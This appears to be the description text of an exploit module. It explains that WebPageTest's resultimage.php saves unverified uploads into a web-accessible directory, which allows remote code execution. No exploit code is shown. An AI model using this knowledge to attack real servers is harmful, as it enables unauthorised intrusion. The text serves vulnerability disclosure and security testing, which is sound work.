  					This module exploits a vulnerability found in WebPageTest's Upload Feature. By
  				default, the resultimage.php file does not verify the user-supplied item before
  				saving it to disk, and then places this item in the web directory accessable by
  				remote users.This flaw can be abused to gain remote code execution.
